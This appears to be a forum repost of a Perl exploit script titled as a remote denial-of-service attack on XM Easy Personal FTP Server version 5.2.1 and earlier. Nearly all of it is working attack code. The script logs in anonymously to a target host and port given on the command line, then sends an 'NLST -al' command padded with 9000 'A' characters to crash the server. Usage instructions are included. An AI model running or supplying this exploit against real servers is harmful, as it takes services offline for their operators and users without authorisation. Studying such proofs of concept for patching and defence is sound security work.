XM Easy Personal FTP Server <= 5.2.1 Remote Denial of Service Exploit
[code]#!/usr/bin/perl
#
# *
# * Title: XM Easy Personal FTP Server <= 5.2.1 'NLST -al' Remote Denial of Service
# * Author: boecke
# * Discovery: boecke
# * Vulnerability Type: Remote Denial of Service
# * Risk: Low Risk (Requires valid
# * Software Affected: XM Easy Personal FTP Server <= 5.2.1
# * Greetings: henrik, str0ke!
# *
#
use IO::Socket;
$commandToSend = "NLST -al ";
$remoteUsername = "anonymous";
$remotePassword = "borat\@kik.com";
$remotePort = $ARGV[1];
sub bannerExploit()
{
print "\n x XM Easy Personal FTP Server <= v5.2.1 Remote Denial of Service\n";
print " x Author: boecke\n x Discovery: boecke (boecke [at] herzeleid [dot] net)\n\n";
}
if ( @ARGV < 2 )
{
bannerExploit();
print " * Usage: perl ftp.pl 192.168.0.1 21\n\n";
exit;
}
if ($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $remotePort, Proto => "TCP" ))
{
bannerExploit();
print " + Establishing connection at " . $ARGV[0] . ":" . $remotePort . "\n";
print $socket "USER " . $remoteUsername . "\r\n";
print " * FTP Username: \'" . $remoteUsername . "\'\n";
sleep( 1 );
print $socket "PASS " . $remotePassword . "\r\n";
print " * FTP Password: \'" . $remotePassword . "\'\n";
print $socket $commandToSend . "A" x 9000 . "\r\n";
sleep( 3 );
print $socket "QUIT\r\n";
print " + Sent 9000 bytes of data to $ARGV[0]:$remotePort\n\n";
}
else
{
bannerExploit();
print " + Failed to establish connection to " . $ARGV[0] . ":" . $remotePort . "\n";
}
[/code]
页:
[1]